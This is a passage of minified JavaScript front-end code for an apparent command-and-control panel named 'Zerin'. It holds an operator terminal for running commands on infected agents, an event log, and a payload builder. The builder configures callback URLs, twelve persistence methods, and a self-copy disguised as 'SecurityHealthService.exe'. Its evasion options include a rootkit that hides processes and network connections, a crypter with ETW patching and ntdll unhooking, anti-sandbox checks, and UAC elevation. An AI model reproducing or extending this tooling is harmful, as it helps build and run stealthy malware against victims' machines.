bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(L=>s.jsxs("button",{onClick:()=>_(L.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(L.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:L.dataUrl,alt:`Screenshot ${Hs(L.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(de=>new Set(de).add(L.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Hs(L.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Vc(L.timestamp)})]})})]},L.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>O(L=>!L),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(_U,{lines:ne,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ie.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ie.map(L=>s.jsx("button",{onClick:()=>we(L),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:L},L))})]})}),U&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:U}),s.jsxs("form",{onSubmit:ve,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:xe,type:"text",value:x,onChange:L=>g(L.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(gj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>_(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:L=>L.stopPropagation(),children:[s.jsxs("button",{onClick:()=>_(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function vn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function wp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Qt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const HS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},C2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},ZU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function QU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await IE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(ld);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(P2,{label:"All",active:i==="all",onClick:()=>a("all")}),ZU.map(m=>s.jsx(P2,{label:HS[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(JU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function JU({event:e,expanded:t,onToggle:n}){const r=C2[e.severity]||C2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:HS[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:HA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function P2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const E2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function A2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const _2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],eV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function tV(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(mj,pj),g=x.status==="building",[y,v]=p.useState(A2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,_]=p.useState(""),[A,O]=p.useState(E2),[P,I]=p.useState(!1),[U,D]=p.useState("exe"),[M,F]=p.useState(0),[R,W]=p.useState(!0),[$,H]=p.useState(!0),[X,se]=p.useState(!0),[ue,ge]=p.useState(!0),[xe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[K,ne]=p.useState("SecurityHealthService.exe"),[B,ie]=p.useState(null),ve=p.useCallback(async()=>{try{const q=await $E();t(q)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{ve(),BE().then(q=>{w(te=>te.length===1&&te[0]===""?[q.default_callback_url]:te)}).catch(()=>{})},[ve]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const me=Math.floor((Date.now()-x.startedAt)/1e3);u(me);const V=Math.min(95,Math.floor(100*(1-Math.exp(-me/50))));l(V)},500),te=Math.floor((Date.now()-x.startedAt)/1e3);return u(te),l(Math.min(95,Math.floor(100*(1-Math.exp(-te/50))))),()=>clearInterval(q)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Hg(),ve()):x.status==="error"&&(f(x.error||"Failed to build payload"),Hg())},[x.status]),p.useEffect(()=>{if(!m)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[m]);function we(){v(A2()),k("30"),N("25"),_(""),O(E2),I(!1),D("exe"),F(0),W(!0),H(!0),se(!0),ge(!0),Y(1),C("Microsoft\\WindowsUpdate"),ne("SecurityHealthService.exe")}async function _e(q){q.preventDefault(),f("");const te=b.filter(Z=>Z.trim()!=="");let me=0;z&&(me=Math.floor(new Date(z).getTime()/1e3));const V={name:y.trim(),callback_urls:te,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:me,user_agent:A.trim(),output_format:U,debug:P,persist_methods:M||void 0,rootkit_enabled:R,encryption_enabled:$,anti_vm:X,auto_elevate:ue,install_dir:xe,install_subdir:ee,install_filename:K};EA(V.name);try{await RE(V),AA(),we()}catch(Z){Z instanceof di?Vg(Z.message):Vg("Failed to build payload")}}async function L(q){const te=rt();if(!te){f("Not authenticated");return}try{const me=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${te}`}});if(!me.ok){f("Download failed");return}const V=await me.blob(),Z=URL.createObjectURL(V),fe=document.createElement("a");fe.href=Z;const E=me.headers.get("content-disposition"),oe=E==null?void 0:E.match(/filename="(.+?)"/);fe.download=(oe==null?void 0:oe[1])||`${q.name||"payload"}.exe`,document.body.appendChild(fe),fe.click(),document.body.removeChild(fe),URL.revokeObjectURL(Z)}catch{f("Download failed")}}async function de(q){try{await FE(q),ie(null),ve()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:_e,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(pr,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(pr,{label:"Output Format",children:s.jsxs("select",{value:U,onChange:q=>{const te=q.target.value;D(te),te==="exe"&&F(me=>me&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(pr,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:q=>k(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(pr,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:q=>N(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(pr,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:q=>_(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),s.jsx(pr,{label:"User Agent",children:s.jsx("input",{type:"text",value:A,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(pr,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:eV.map(q=>{const te=q.dllOnly&&U==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${te?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:te,onChange:me=>{F(me.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),te&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),s.jsx(pr,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:xe,onChange:q=>Y(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:K,onChange:q=>ne(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),s.jsxs(pr,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:R,onChange:q=>W(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:q=>H(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:X,disabled:!$,onChange:q=>se(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ue,onChange:q=>ge(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>I(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(_2.filter(q=>q.at<=o).pop()??_2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on 